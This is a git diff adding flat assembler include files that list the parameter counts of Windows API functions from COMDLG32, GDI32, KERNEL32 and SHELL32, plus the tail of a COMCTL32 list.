1 +ImageList_EndDrag% = 0 +ImageList_GetBkColor% = 1 +ImageList_GetDragImage% = 2 +ImageList_GetIcon% = 3 +ImageList_GetIconSize% = 3 +ImageList_GetImageCount% = 1 +ImageList_GetImageInfo% = 3 +ImageList_GetImageRect% = 3 +ImageList_LoadImage% = 7 +ImageList_Merge% = 6 +ImageList_Read% = 1 +ImageList_Remove% = 2 +ImageList_Replace% = 4 +ImageList_ReplaceIcon% = 3 +ImageList_SetBkColor% = 2 +ImageList_SetDragCursorImage% = 4 +ImageList_SetFilter% = 3 +ImageList_SetIconSize% = 3 +ImageList_SetImageCount% = 2 +ImageList_SetOverlayImage% = 3 +ImageList_Write% = 2 +InitCommonControls% = 0 +InitCommonControlsEx% = 1 +InitializeFlatSB% = 1 +LBItemFromPt% = 4 +MakeDragList% = 1 +MenuHelp% = 7 +PropertySheet% = 1 +ShowHideMenuCtl% = 3 +UninitializeFlatSB% = 1 +_TrackMouseEvent% = 1 diff --git a/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/COMDLG32.INC b/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/COMDLG32.INC new file mode 100755 index 0000000..6aae8b2 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/COMDLG32.INC @@ -0,0 +1,18 @@ + +; COMDLG32 API calls parameters' count + +ChooseColor% = 1 +ChooseFont% = 1 +CommDlgExtendedError% = 0 +FindText% = 1 +FormatCharDlgProc% = 4 +GetFileTitle% = 3 +GetOpenFileName% = 1 +GetSaveFileName% = 1 +LoadAlterBitmap% = 3 +PageSetupDlg% = 1 +PrintDlg% = 1 +ReplaceText% = 1 +WantArrows% = 4 +dwLBSubclass% = 4 +dwOKSubclass% = 4 diff --git a/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/GDI32.INC b/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/GDI32.INC new file mode 100755 index 0000000..f824179 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/GDI32.INC @@ -0,0 +1,319 @@ + +; GDI32 API calls parameters' count + +AbortDoc% = 1 +AbortPath% = 1 +AddFontMemResourceEx% = 4 +AddFontResource% = 1 +AddFontResourceEx% = 3 +AngleArc% = 6 +AnimatePalette% = 4 +Arc% = 9 +ArcTo% = 9 +BeginPath% = 1 +BitBlt% = 9 +CancelDC% = 1 +CheckColorsInGamut% = 4 +ChoosePixelFormat% = 2 +Chord% = 9 +CloseEnhMetaFile% = 1 +CloseFigure% = 1 +CloseMetaFile% = 1 +ColorCorrectPalette% = 4 +ColorMatchToTarget% = 3 +CombineRgn% = 4 +CombineTransform% = 3 +CopyEnhMetaFile% = 2 +CopyMetaFile% = 2 +CreateBitmap% = 5 +CreateBitmapIndirect% = 1 +CreateBrushIndirect% = 1 +CreateColorSpace% = 1 +CreateCompatibleBitmap% = 3 +CreateCompatibleDC% = 1 +CreateDC% = 4 +CreateDIBPatternBrush% = 2 +CreateDIBPatternBrushPt% = 2 +CreateDIBSection% = 6 +CreateDIBitmap% = 6 +CreateDiscardableBitmap% = 3 +CreateEllipticRgn% = 4 +CreateEllipticRgnIndirect% = 1 +CreateEnhMetaFile% = 4 +CreateFont% = 14 +CreateFontIndirect% = 1 +CreateFontIndirectEx% = 1 +CreateHalftonePalette% = 1 +CreateHatchBrush% = 2 +CreateIC% = 4 +CreateMetaFile% = 1 +CreatePalette% = 1 +CreatePatternBrush% = 1 +CreatePen% = 3 +CreatePenIndirect% = 1 +CreatePolyPolygonRgn% = 4 +CreatePolygonRgn% = 3 +CreateRectRgn% = 4 +CreateRectRgnIndirect% = 1 +CreateRoundRectRgn% = 6 +CreateScalableFontResource% = 4 +CreateSolidBrush% = 1 +DPtoLP% = 3 +DeleteColorSpace% = 1 +DeleteDC% = 1 +DeleteEnhMetaFile% = 1 +DeleteMetaFile% = 1 +DeleteObject% = 1 +DescribePixelFormat% = 4 +DeviceCapabilitiesEx% = 6 +DrawEscape% = 4 +Ellipse% = 5 +EnableEUDC% = 1 +EndDoc% = 1 +EndPage% = 1 +EndPath% = 1 +EnumEnhMetaFile% = 5 +EnumFontFamilies% = 4 +EnumFontFamiliesEx% = 5 +EnumFonts% = 4 +EnumICMProfiles% = 3 +EnumMetaFile% = 4 +EnumObjects% = 4 +EqualRgn% = 2 +Escape% = 5 +ExcludeClipRect% = 5 +ExtCreatePen% = 5 +ExtCreateRegion% = 3 +ExtEscape% = 6 +ExtFloodFill% = 5 +ExtSelectClipRgn% = 3 +ExtTextOut% = 8 +FillPath% = 1 +FillRgn% = 3 +FixBrushOrgEx% = 4 +FlattenPath% = 1 +FloodFill% = 4 +FrameRgn% = 5 +GdiComment% = 3 +GdiDeleteSpoolFileHandle% = 1 +GdiEndDocEMF% = 1 +GdiEndPageEMF% = 2 +GdiFlush% = 0 +GdiGetBatchLimit% = 0 +GdiGetDC% = 1 +GdiGetDevmodeForPage% = 4 +GdiGetPageCount% = 1 +GdiGetPageHandle% = 3 +GdiGetSpoolFileHandle% = 3 +GdiPlayDCScript% = 6 +GdiPlayEMF% = 5 +GdiPlayJournal% = 5 +GdiPlayPageEMF% = 4 +GdiPlayPrivatePageEMF% = 3 +GdiPlayScript% = 7 +GdiResetDCEMF% = 2 +GdiSetBatchLimit% = 1 +GdiStartDocEMF% = 2 +GdiStartPageEMF% = 1 +GetArcDirection% = 1 +GetAspectRatioFilterEx% = 2 +GetBitmapBits% = 3 +GetBitmapDimensionEx% = 2 +GetBkColor% = 1 +GetBkMode% = 1 +GetBoundsRect% = 3 +GetBrushOrgEx% = 2 +GetCharABCWidths% = 4 +GetCharABCWidthsFloat% = 4 +GetCharABCWidthsI% = 5 +GetCharWidth32% = 4 +GetCharWidth% = 4 +GetCharWidthFloat% = 4 +GetCharWidthI% = 5 +GetCharacterPlacement% = 6 +GetClipBox% = 2 +GetClipRgn% = 2 +GetColorAdjustment% = 2 +GetColorSpace% = 1 +GetCurrentObject% = 2 +GetCurrentPositionEx% = 2 +GetDCBrushColor% = 1 +GetDCOrgEx% = 2 +GetDCPenColor% = 1 +GetDIBColorTable% = 4 +GetDIBits% = 7 +GetDeviceCaps% = 2 +GetDeviceGammaRamp% = 2 +GetEnhMetaFile% = 1 +GetEnhMetaFileBits% = 3 +GetEnhMetaFileDescription% = 3 +GetEnhMetaFileHeader% = 3 +GetEnhMetaFilePaletteEntries% = 3 +GetEnhMetaFilePixelFormat% = 3 +GetFontAssocStatus% = 1 +GetFontData% = 5 +GetFontLanguageInfo% = 1 +GetFontUnicodeRanges% = 2 +GetGlyphIndices% = 5 +GetGlyphOutline% = 7 +GetGraphicsMode% = 1 +GetICMProfile% = 3 +GetKerningPairs% = 3 +GetLogColorSpace% = 3 +GetMapMode% = 1 +GetMetaFile% = 1 +GetMetaFileBitsEx% = 3 +GetMetaRgn% = 2 +GetMiterLimit% = 2 +GetNearestColor% = 2 +GetNearestPaletteIndex% = 2 +GetObject% = 3 +GetObjectType% = 1 +GetOutlineTextMetrics% = 3 +GetPaletteEntries% = 4 +GetPath% = 4 +GetPixel% = 3 +GetPixelFormat% = 1 +GetPolyFillMode% = 1 +GetROP2% = 1 +GetRandomRgn% = 3 +GetRasterizerCaps% = 2 +GetRegionData% = 3 +GetRelAbs% = 2 +GetRgnBox% = 2 +GetStockObject% = 1 +GetStretchBltMode% = 1 +GetSystemPaletteEntries% = 4 +GetSystemPaletteUse% = 1 +GetTextAlign% = 1 +GetTextCharacterExtra% = 1 +GetTextCharset% = 1 +GetTextCharsetInfo% = 3 +GetTextColor% = 1 +GetTextExtentExPoint% = 7 +GetTextExtentExPointI% = 7 +GetTextExtentPoint32% = 4 +GetTextExtentPoint% = 4 +GetTextExtentPointI% = 4 +GetTextFace% = 3 +GetTextMetrics% = 2 +GetViewportExtEx% = 2 +GetViewportOrgEx% = 2 +GetWinMetaFileBits% = 5 +GetWindowExtEx% = 2 +GetWindowOrgEx% = 2 +GetWorldTransform% = 2 +IntersectClipRect% = 5 +InvertRgn% = 2 +LPtoDP% = 3 +LineDD% = 6 +LineTo% = 3 +MaskBlt% = 12 +ModifyWorldTransform% = 3 +MoveToEx% = 4 +OffsetClipRgn% = 3 +OffsetRgn% = 3 +OffsetViewportOrgEx% = 4 +OffsetWindowOrgEx% = 4 +PaintRgn% = 2 +PatBlt% = 6 +PathToRegion% = 1 +Pie% = 9 +PlayEnhMetaFile% = 3 +PlayEnhMetaFileRecord% = 4 +PlayMetaFile% = 2 +PlayMetaFileRecord% = 4 +PlgBlt% = 10 +PolyBezier% = 3 +PolyBezierTo% = 3 +PolyDraw% = 4 +PolyPatBlt% = 5 +PolyPolygon% = 4 +PolyPolyline% = 4 +PolyTextOut% = 3 +Polygon% = 3 +Polyline% = 3 +PolylineTo% = 3 +PtInRegion% = 3 +PtVisible% = 3 +RealizePalette% = 1 +RectInRegion% = 2 +RectVisible% = 2 +Rectangle% = 5 +RemoveFontMemResourceEx% = 1 +RemoveFontResource% = 1 +RemoveFontResourceEx% = 3 +ResetDC% = 2 +ResizePalette% = 2 +RestoreDC% = 2 +RoundRect% = 7 +SaveDC% = 1 +ScaleViewportExtEx% = 6 +ScaleWindowExtEx% = 6 +SelectBrushLocal% = 2 +SelectClipPath% = 2 +SelectClipRgn% = 2 +SelectFontLocal% = 2 +SelectObject% = 2 +SelectPalette% = 3 +SetAbortProc% = 2 +SetArcDirection% = 2 +SetBitmapBits% = 3 +SetBitmapDimensionEx% = 4 +SetBkColor% = 2 +SetBkMode% = 2 +SetBoundsRect% = 3 +SetBrushOrgEx% = 4 +SetColorAdjustment% = 2 +SetColorSpace% = 2 +SetDCBrushColor% = 2 +SetDCPenColor% = 2 +SetDIBColorTable% = 4 +SetDIBits% = 7 +SetDIBitsToDevice% = 12 +SetDeviceGammaRamp% = 2 +SetEnhMetaFileBits% = 2 +SetFontEnumeration% = 1 +SetGraphicsMode% = 2 +SetICMMode% = 2 +SetICMProfile% = 2 +SetMagicColors% = 3 +SetMapMode% = 2 +SetMapperFlags% = 2 +SetMetaFileBitsEx% = 2 +SetMetaRgn% = 1 +SetMiterLimit% = 3 +SetPaletteEntries% = 4 +SetPixel% = 4 +SetPixelFormat% = 3 +SetPixelV% = 4 +SetPolyFillMode% = 2 +SetROP2% = 2 +SetRectRgn% = 5 +SetRelAbs% = 2 +SetStretchBltMode% = 2 +SetSystemPaletteUse% = 2 +SetTextAlign% = 2 +SetTextCharacterExtra% = 2 +SetTextColor% = 2 +SetTextJustification% = 3 +SetViewportExtEx% = 4 +SetViewportOrgEx% = 4 +SetWinMetaFileBits% = 4 +SetWindowExtEx% = 4 +SetWindowOrgEx% = 4 +SetWorldTransform% = 2 +StartDoc% = 2 +StartPage% = 1 +StretchBlt% = 11 +StretchDIBits% = 13 +StrokeAndFillPath% = 1 +StrokePath% = 1 +SwapBuffers% = 1 +TextOut% = 5 +TranslateCharsetInfo% = 3 +UnrealizeObject% = 1 +UpdateColors% = 1 +UpdateICMRegKey% = 4 +WidenPath% = 1 +gdiPlaySpoolStream% = 6 diff --git a/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/KERNEL32.INC b/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/KERNEL32.INC new file mode 100755 index 0000000..12e3372 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/KERNEL32.INC @@ -0,0 +1,557 @@ + +; KERNEL32 API calls parameters' count + +AddAtom% = 1 +AddConsoleAlias% = 3 +AllocConsole% = 0 +AreFileApisANSI% = 0 +AssignProcessToJobObject% = 2 +BackupRead% = 7 +BackupSeek% = 6 +BackupWrite% = 7 +BaseAttachCompleteThunk% = 0 +Beep% = 2 +BeginUpdateResource% = 2 +BuildCommDCB% = 2 +BuildCommDCBAndTimeouts% = 3 +CallNamedPipe% = 7 +CancelIo% = 1 +CancelWaitableTimer% = 1 +ClearCommBreak% = 1 +ClearCommError% = 3 +CloseConsoleHandle% = 1 +CloseHandle% = 1 +CloseProfileUserMapping% = 0 +CmdBatNotification% = 1 +CommConfigDialog% = 3 +CompareFileTime% = 2 +CompareString% = 6 +ConnectNamedPipe% = 2 +ConsoleMenuControl% = 3 +ContinueDebugEvent% = 3 +ConvertDefaultLocale% = 1 +ConvertThreadToFiber% = 1 +CopyFile% = 3 +CopyFileEx% = 6 +CreateConsoleScreenBuffer% = 5 +CreateDirectory% = 2 +CreateDirectoryEx% = 3 +CreateEvent% = 4 +CreateFiber% = 3 +CreateFile% = 7 +CreateFileMapping% = 6 +CreateHardLink% = 3 +CreateIoCompletionPort% = 4 +CreateJobObject% = 2 +CreateMailslot% = 4 +CreateMutex% = 3 +CreateNamedPipe% = 8 +CreatePipe% = 4 +CreateProcess% = 10 +CreateRemoteThread% = 7 +CreateSemaphore% = 4 +CreateTapePartition% = 4 +CreateThread% = 6 +CreateToolhelp32Snapshot% = 2 +CreateVirtualBuffer% = 3 +CreateWaitableTimer% = 3 +DebugActiveProcess% = 1 +DebugBreak% = 0 +DefineDosDevice% = 3 +DeleteAtom% = 1 +DeleteCriticalSection% = 1 +DeleteFiber% = 1 +DeleteFile% = 1 +DeviceIoControl% = 8 +DisableThreadLibraryCalls% = 1 +DisconnectNamedPipe% = 1 +DosDateTimeToFileTime% = 3 +DuplicateConsoleHandle% = 4 +DuplicateHandle% = 7 +EndUpdateResource% = 2 +EnterCriticalSection% = 1 +EnumCalendarInfo% = 4 +EnumCalendarInfoEx% = 4 +EnumDateFormats% = 3 +EnumDateFormatsEx% = 3 +EnumResourceLanguages% = 5 +EnumResourceNames% = 4 +EnumResourceTypes% = 3 +EnumSystemCodePages% = 2 +EnumSystemLocales% = 2 +EnumTimeFormats% = 3 +EraseTape% = 3 +EscapeCommFunction% = 2 +ExitProcess% = 1 +ExitThread% = 1 +ExitVDM% = 2 +ExpandEnvironmentStrings% = 3 +ExpungeConsoleCommandHistory% = 1 +ExtendVirtualBuffer% = 2 +FatalAppExit% = 2 +FatalExit% = 1 +FileTimeToDosDateTime% = 3 +FileTimeToLocalFileTime% = 2 +FileTimeToSystemTime% = 2 +FillConsoleOutputAttribute% = 5 +FillConsoleOutputCharacter% = 5 +FindAtom% = 1 +FindClose% = 1 +FindCloseChangeNotification% = 1 +FindFirstChangeNotification% = 3 +FindFirstFile% = 2 +FindFirstFileEx% = 6 +FindNextChangeNotification% = 1 +FindNextFile% = 2 +FindResource% = 3 +FindResourceEx% = 4 +FlushConsoleInputBuffer% = 1 +FlushFileBuffers% = 1 +FlushInstructionCache% = 3 +FlushViewOfFile% = 2 +FoldString% = 5 +FormatMessage% = 7 +FreeConsole% = 0 +FreeEnvironmentStrings% = 1 +FreeLibrary% = 1 +FreeLibraryAndExitThread% = 2 +FreeResource% = 1 +FreeVirtualBuffer% = 1 +GenerateConsoleCtrlEvent% = 2 +GetACP% = 0 +GetAtomName% = 3 +GetBinaryType% = 2 +GetCPInfo% = 2 +GetCPInfoEx% = 3 +GetCommConfig% = 3 +GetCommMask% = 2 +GetCommModemStatus% = 2 +GetCommProperties% = 2 +GetCommState% = 2 +GetCommTimeouts% = 2 +GetCommandLine% = 0 +GetCompressedFileSize% = 2 +GetComputerName% = 2 +GetConsoleAlias% = 4 +GetConsoleAliasExes% = 2 +GetConsoleAliasExesLength% = 0 +GetConsoleAliases% = 3 +GetConsoleAliasesLength% = 1 +GetConsoleCP% = 0 +GetConsoleCommandHistory% = 3 +GetConsoleCommandHistoryLength% = 1 +GetConsoleCursorInfo% = 2 +GetConsoleDisplayMode% = 1 +GetConsoleFontInfo% = 4 +GetConsoleFontSize% = 2 +GetConsoleHardwareState% = 3 +GetConsoleInputExeName% = 2 +GetConsoleInputWaitHandle% = 0 +GetConsoleKeyboardLayoutName% = 1 +GetConsoleMode% = 2 +GetConsoleOutputCP% = 0 +GetConsoleScreenBufferInfo% = 2 +GetConsoleTitle% = 2 +GetConsoleWindow% = 0 +GetCurrencyFormat% = 6 +GetCurrentConsoleFont% = 3 +GetCurrentDirectory% = 2 +GetCurrentProcess% = 0 +GetCurrentProcessId% = 0 +GetCurrentThread% = 0 +GetCurrentThreadId% = 0 +GetDateFormat% = 6 +GetDefaultCommConfig% = 3 +GetDevicePowerState% = 1 +GetDiskFreeSpace% = 5 +GetDiskFreeSpaceEx% = 4 +GetDriveType% = 1 +GetEnvironmentStrings% = 0 +GetEnvironmentVariable% = 3 +GetExitCodeProcess% = 2 +GetExitCodeThread% = 2 +GetFileAttributes% = 1 +GetFileAttributesEx% = 3 +GetFileInformationByHandle% = 2 +GetFileSize% = 2 +GetFileTime% = 4 +GetFileType% = 1 +GetFullPathName% = 4 +GetHandleInformation% = 2 +GetLargestConsoleWindowSize% = 1 +GetLastError% = 0 +GetLocalTime% = 1 +GetLocaleInfo% = 4 +GetLogicalDriveStrings% = 2 +GetLogicalDrives% = 0 +GetLongPathName% = 3 +GetMailslotInfo% = 5 +GetModuleFileName% = 3 +GetModuleHandle% = 1 +GetNamedPipeHandleState% = 7 +GetNamedPipeInfo% = 5 +GetNextVDMCommand% = 1 +GetNumberFormat% = 6 +GetNumberOfConsoleFonts% = 0 +GetNumberOfConsoleInputEvents% = 2 +GetNumberOfConsoleMouseButtons% = 1 +GetOEMCP% = 0 +GetOverlappedResult% = 4 +GetPriorityClass% = 1 +GetPrivateProfileInt% = 4 +GetPrivateProfileSection% = 4 +GetPrivateProfileSectionNames% = 3 +GetPrivateProfileString% = 6 +GetPrivateProfileStruct% = 5 +GetProcAddress% = 2 +GetProcessAffinityMask% = 3 +GetProcessHeap% = 0 +GetProcessHeaps% = 2 +GetProcessPriorityBoost% = 2 +GetProcessShutdownParameters% = 2 +GetProcessTimes% = 5 +GetProcessVersion% = 1 +GetProcessWorkingSetSize% = 3 +GetProfileInt% = 3 +GetProfileSection% = 3 +GetProfileString% = 5 +GetQueuedCompletionStatus% = 5 +GetShortPathName% = 3 +GetStartupInfo% = 1 +GetStdHandle% = 1 +GetStringType% = 5 +GetStringTypeEx% = 5 +GetSystemDefaultLCID% = 0 +GetSystemDefaultLangID% = 0 +GetSystemDirectory% = 2 +GetSystemInfo% = 1 +GetSystemPowerStatus% = 1 +GetSystemTime% = 1 +GetSystemTimeAdjustment% = 3 +GetSystemTimeAsFileTime% = 1 +GetTapeParameters% = 4 +GetTapePosition% = 5 +GetTapeStatus% = 1 +GetTempFileName% = 4 +GetTempPath% = 2 +GetThreadContext% = 2 +GetThreadLocale% = 0 +GetThreadPriority% = 1 +GetThreadPriorityBoost% = 2 +GetThreadSelectorEntry% = 3 +GetThreadTimes% = 5 +GetTickCount% = 0 +GetTimeFormat% = 6 +GetTimeZoneInformation% = 1 +GetUserDefaultLCID% = 0 +GetUserDefaultLangID% = 0 +GetVDMCurrentDirectories% = 2 +GetVersion% = 0 +GetVersionEx% = 1 +GetVolumeInformation% = 8 +GetWindowsDirectory% = 2 +GlobalAddAtom% = 1 +GlobalAlloc% = 2 +GlobalCompact% = 1 +GlobalDeleteAtom% = 1 +GlobalFindAtom% = 1 +GlobalFix% = 1 +GlobalFlags% = 1 +GlobalFree% = 1 +GlobalGetAtomName% = 3 +GlobalHandle% = 1 +GlobalLock% = 1 +GlobalMemoryStatus% = 1 +GlobalMemoryStatusVlm% = 1 +GlobalReAlloc% = 3 +GlobalSize% = 1 +GlobalUnWire% = 1 +GlobalUnfix% = 1 +GlobalUnlock% = 1 +GlobalWire% = 1 +Heap32First% = 3 +Heap32ListFirst% = 2 +Heap32ListNext% = 2 +Heap32Next% = 1 +HeapAlloc% = 3 +HeapCompact% = 2 +HeapCreate% = 3 +HeapDestroy% = 1 +HeapExtend% = 4 +HeapFree% = 3 +HeapLock% = 1 +HeapReAlloc% = 4 +HeapSize% = 3 +HeapSummary% = 3 +HeapUnlock% = 1 +HeapUsage% = 5 +HeapValidate% = 3 +HeapWalk% = 2 +InitAtomTable% = 1 +InitializeCriticalSection% = 1 +InitializeCriticalSectionAndSpinCount% = 2 +InterlockedCompareExchange% = 3 +InterlockedDecrement% = 1 +InterlockedExchange% = 2 +InterlockedExchangeAdd% = 2 +InterlockedIncrement% = 1 +InvalidateConsoleDIBits% = 2 +IsBadCodePtr% = 1 +IsBadHugeReadPtr% = 2 +IsBadHugeWritePtr% = 2 +IsBadReadPtr% = 2 +IsBadStringPtr% = 2 +IsBadWritePtr% = 2 +IsDBCSLeadByte% = 1 +IsDBCSLeadByteEx% = 2 +IsDebuggerPresent% = 0 +IsProcessorFeaturePresent% = 1 +IsValidCodePage% = 1 +IsValidLocale% = 2 +LCMapString% = 6 +LeaveCriticalSection% = 1 +LoadLibrary% = 1 +LoadLibraryEx% = 3 +LoadModule% = 2 +LoadResource% = 2 +LocalAlloc% = 2 +LocalCompact% = 1 +LocalFileTimeToFileTime% = 2 +LocalFlags% = 1 +LocalFree% = 1 +LocalHandle% = 1 +LocalLock% = 1 +LocalReAlloc% = 3 +LocalShrink% = 2 +LocalSize% = 1 +LocalUnlock% = 1 +LockFile% = 5 +LockFileEx% = 6 +LockResource% = 1 +MapViewOfFile% = 5 +MapViewOfFileEx% = 6 +MapViewOfFileVlm% = 7 +Module32First% = 2 +Module32Next% = 2 +MoveFile% = 2 +MoveFileEx% = 3 +MoveFileWithProgress% = 5 +MulDiv% = 3 +MultiByteToWideChar% = 6 +OpenEvent% = 3 +OpenFile% = 3 +OpenFileMapping% = 3 +OpenJobObject% = 3 +OpenMutex% = 3 +OpenProcess% = 3 +OpenProfileUserMapping% = 0 +OpenSemaphore% = 3 +OpenWaitableTimer% = 3 +OutputDebugString% = 1 +PeekConsoleInput% = 4 +PeekNamedPipe% = 6 +PostQueuedCompletionStatus% = 4 +PrepareTape% = 3 +Process32First% = 2 +Process32Next% = 2 +PulseEvent% = 1 +PurgeComm% = 2 +QueryDosDevice% = 3 +QueryInformationJobObject% = 5 +QueryPerformanceCounter% = 1 +QueryPerformanceFrequency% = 1 +QueryWin31IniFilesMappedToRegistry% = 4 +QueueUserAPC% = 3 +RaiseException% = 4 +ReadConsole% = 5 +ReadConsoleInput% = 4 +ReadConsoleInputEx% = 5 +ReadConsoleOutput% = 5 +ReadConsoleOutputAttribute% = 5 +ReadConsoleOutputCharacter% = 5 +ReadFile% = 5 +ReadFileEx% = 5 +ReadFileScatter% = 5 +ReadFileVlm% = 5 +ReadProcessMemory% = 5 +ReadProcessMemoryVlm% = 5 +RegisterConsoleVDM% = 11 +RegisterWaitForInputIdle% = 1 +RegisterWowBaseHandlers% = 1 +RegisterWowExec% = 1 +ReleaseMutex% = 1 +ReleaseSemaphore% = 3 +RemoveDirectory% = 1 +RequestWakeupLatency% = 1 +ResetEvent% = 1 +ResumeThread% = 1 +RtlFillMemory% = 3 +RtlMoveMemory% = 3 +RtlUnwind% = 4 +RtlZeroMemory% = 2 +ScrollConsoleScreenBuffer% = 5 +SearchPath% = 6 +SetCommBreak% = 1 +SetCommConfig% = 3 +SetCommMask% = 2 +SetCommState% = 2 +SetCommTimeouts% = 2 +SetComputerName% = 1 +SetConsoleActiveScreenBuffer% = 1 +SetConsoleCP% = 1 +SetConsoleCommandHistoryMode% = 1 +SetConsoleCtrlHandler% = 2 +SetConsoleCursor% = 2 +SetConsoleCursorInfo% = 2 +SetConsoleCursorPosition% = 2 +SetConsoleDisplayMode% = 3 +SetConsoleFont% = 2 +SetConsoleHardwareState% = 3 +SetConsoleIcon% = 1 +SetConsoleInputExeName% = 1 +SetConsoleKeyShortcuts% = 4 +SetConsoleMaximumWindowSize% = 2 +SetConsoleMenuClose% = 1 +SetConsoleMode% = 2 +SetConsoleNumberOfCommands% = 2 +SetConsoleOutputCP% = 1 +SetConsolePalette% = 3 +SetConsoleScreenBufferSize% = 2 +SetConsoleTextAttribute% = 2 +SetConsoleTitle% = 1 +SetConsoleWindowInfo% = 3 +SetCriticalSectionSpinCount% = 2 +SetCurrentDirectory% = 1 +SetDefaultCommConfig% = 3 +SetEndOfFile% = 1 +SetEnvironmentVariable% = 2 +SetErrorMode% = 1 +SetEvent% = 1 +SetFileApisToANSI% = 0 +SetFileApisToOEM% = 0 +SetFileAttributes% = 2 +SetFilePointer% = 4 +SetFileTime% = 4 +SetHandleCount% = 1 +SetHandleInformation% = 3 +SetInformationJobObject% = 4 +SetLastConsoleEventActive% = 0 +SetLastError% = 1 +SetLocalTime% = 1 +SetLocaleInfo% = 3 +SetMailslotInfo% = 2 +SetNamedPipeHandleState% = 4 +SetPriorityClass% = 2 +SetProcessAffinityMask% = 2 +SetProcessPriorityBoost% = 2 +SetProcessShutdownParameters% = 2 +SetProcessWorkingSetSize% = 3 +SetStdHandle% = 2 +SetSystemPowerState% = 2 +SetSystemTime% = 1 +SetSystemTimeAdjustment% = 2 +SetTapeParameters% = 3 +SetTapePosition% = 6 +SetThreadAffinityMask% = 2 +SetThreadContext% = 2 +SetThreadExecutionState% = 1 +SetThreadIdealProcessor% = 2 +SetThreadLocale% = 1 +SetThreadPriority% = 2 +SetThreadPriorityBoost% = 2 +SetTimeZoneInformation% = 1 +SetUnhandledExceptionFilter% = 1 +SetVDMCurrentDirectories% = 2 +SetVolumeLabel% = 2 +SetWaitableTimer% = 6 +SetupComm% = 3 +ShowConsoleCursor% = 2 +SignalObjectAndWait% = 4 +SizeofResource% = 2 +Sleep% = 1 +SleepEx% = 2 +SuspendThread% = 1 +SwitchToFiber% = 1 +SwitchToThread% = 0 +SystemTimeToFileTime% = 2 +SystemTimeToTzSpecificLocalTime% = 3 +TerminateJobObject% = 2 +TerminateProcess% = 2 +TerminateThread% = 2 +Thread32First% = 2 +Thread32Next% = 2 +TlsAlloc% = 0 +TlsFree% = 1 +TlsGetValue% = 1 +TlsSetValue% = 2 +Toolhelp32ReadProcessMemory% = 5 +TransactNamedPipe% = 7 +TransmitCommChar% = 2 +TrimVirtualBuffer% = 1 +TryEnterCriticalSection% = 1 +UnhandledExceptionFilter% = 1 +UnlockFile% = 5 +UnlockFileEx% = 5 +UnmapViewOfFile% = 1 +UnmapViewOfFileVlm% = 1 +UpdateResource% = 6 +VDMConsoleOperation% = 2 +VDMOperationStarted% = 1 +VerLanguageName% = 3 +VerifyConsoleIoHandle% = 1 +VirtualAlloc% = 4 +VirtualAllocEx% = 5 +VirtualAllocVlm% = 6 +VirtualBufferExceptionHandler% = 3 +VirtualFree% = 3 +VirtualFreeEx% = 4 +VirtualFreeVlm% = 5 +VirtualLock% = 2 +VirtualProtect% = 4 +VirtualProtectEx% = 5 +VirtualProtectVlm% = 6 +VirtualQuery% = 3 +VirtualQueryEx% = 4 +VirtualQueryVlm% = 4 +VirtualUnlock% = 2 +WaitCommEvent% = 3 +WaitForDebugEvent% = 2 +WaitForMultipleObjects% = 4 +WaitForMultipleObjectsEx% = 5 +WaitForSingleObject% = 2 +WaitForSingleObjectEx% = 3 +WaitNamedPipe% = 2 +WideCharToMultiByte% = 8 +WinExec% = 2 +WriteConsole% = 5 +WriteConsoleInput% = 4 +WriteConsoleInputVDM% = 4 +WriteConsoleOutput% = 5 +WriteConsoleOutputAttribute% = 5 +WriteConsoleOutputCharacter% = 5 +WriteFile% = 5 +WriteFileEx% = 5 +WriteFileGather% = 5 +WriteFileVlm% = 5 +WritePrivateProfileSection% = 3 +WritePrivateProfileString% = 4 +WritePrivateProfileStruct% = 5 +WriteProcessMemory% = 5 +WriteProcessMemoryVlm% = 5 +WriteProfileSection% = 2 +WriteProfileString% = 3 +WriteTapemark% = 4 +_hread% = 3 +_hwrite% = 3 +_lclose% = 1 +_lcreat% = 2 +_llseek% = 3 +_lopen% = 2 +_lread% = 3 +_lwrite% = 3 +lstrcat% = 2 +lstrcmp% = 2 +lstrcmpi% = 2 +lstrcpy% = 2 +lstrcpyn% = 3 +lstrlen% = 1 diff --git a/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/SHELL32.INC b/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/SHELL32.INC new file mode 100755 index 0000000..90e0f84 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/SHELL32.INC @@ -0,0 +1,73 @@ + +; SHELL32 API calls parameters' count + +CheckEscapes% = 2 +DoEnvironmentSubst% = 2 +DragAcceptFiles% = 2 +DragFinish% = 1 +DragQueryFile% = 4 +DragQueryPoint% = 2 +DuplicateIcon% = 2 +ExtractAssociatedIcon% = 3 +ExtractAssociatedIconEx% = 4 +ExtractIcon% = 3 +ExtractIconEx% = 5 +ExtractIconResInfo% = 5 +FindExeDlgProc% = 4 +FindExecutable% = 3 +FreeIconList% = 2 +InternalExtractIconList% = 3 +RealShellExecute% = 10 +RealShellExecuteEx% = 11 +RegenerateUserEnvironment% = 2 +SHAddToRecentDocs% = 2 +SHAppBarMessage% = 2 +SHBrowseForFolder% = 1 +SHChangeNotify% = 4 +SHEmptyRecycleBin% = 3 +SHFileOperation% = 1 +SHFormatDrive% = 4 +SHFreeNameMappings% = 1 +SHGetDataFromIDList% = 5 +SHGetDesktopFolder% = 1 +SHGetDiskFreeSpace% = 4 +SHGetFileInfo% = 5 +SHGetInstanceExplorer% = 1 +SHGetMalloc% = 1 +SHGetNewLinkInfo% = 5 +SHGetPathFromIDList% = 2 +SHGetSettings% = 2 +SHGetSpecialFolderLocation% = 3 +SHGetSpecialFolderPath% = 4 +SHInvokePrinterCommand% = 5 +SHLoadInProc% = 1 +SHQueryRecycleBin% = 2 +SHUpdateRecycleBinIcon% = 0 +SheChangeDir% = 1 +SheChangeDirEx% = 1 +SheFullPath% = 3 +SheGetCurDrive% = 0 +SheGetDir% = 2 +SheRemoveQuotes% = 1 +SheSetCurDrive% = 1 +SheShortenPath% = 2 +ShellAbout% = 4 +ShellExecute% = 6 +ShellExecuteEx% = 1 +ShellHookProc% = 3 +Shell_NotifyIcon% = 2 